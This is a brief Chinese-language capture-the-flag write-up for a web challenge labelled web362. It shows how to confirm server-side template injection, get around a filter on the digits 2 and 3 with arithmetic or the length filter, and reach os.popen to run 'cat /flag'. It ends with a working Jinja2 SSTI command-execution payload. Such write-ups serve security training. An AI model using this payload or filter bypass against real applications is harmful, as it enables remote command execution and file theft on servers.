web362

再次尝试{{7*7}}注入测试，得到49为ssti注入
寻找父类，在父类下寻找到os模块在133，但是查询__subclasses__()[132]发现被过滤

输入1可以正常回显，猜测为数字过滤，对2，3分别进行测试发现被过滤，

用length过滤器或者减法进行绕过
{% set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length %}#132
140-8 #132

payload
?name={{''.__class__.__base__.__subclasses__()[140-8].__init__.__globals__['popen']('cat /flag').read()}}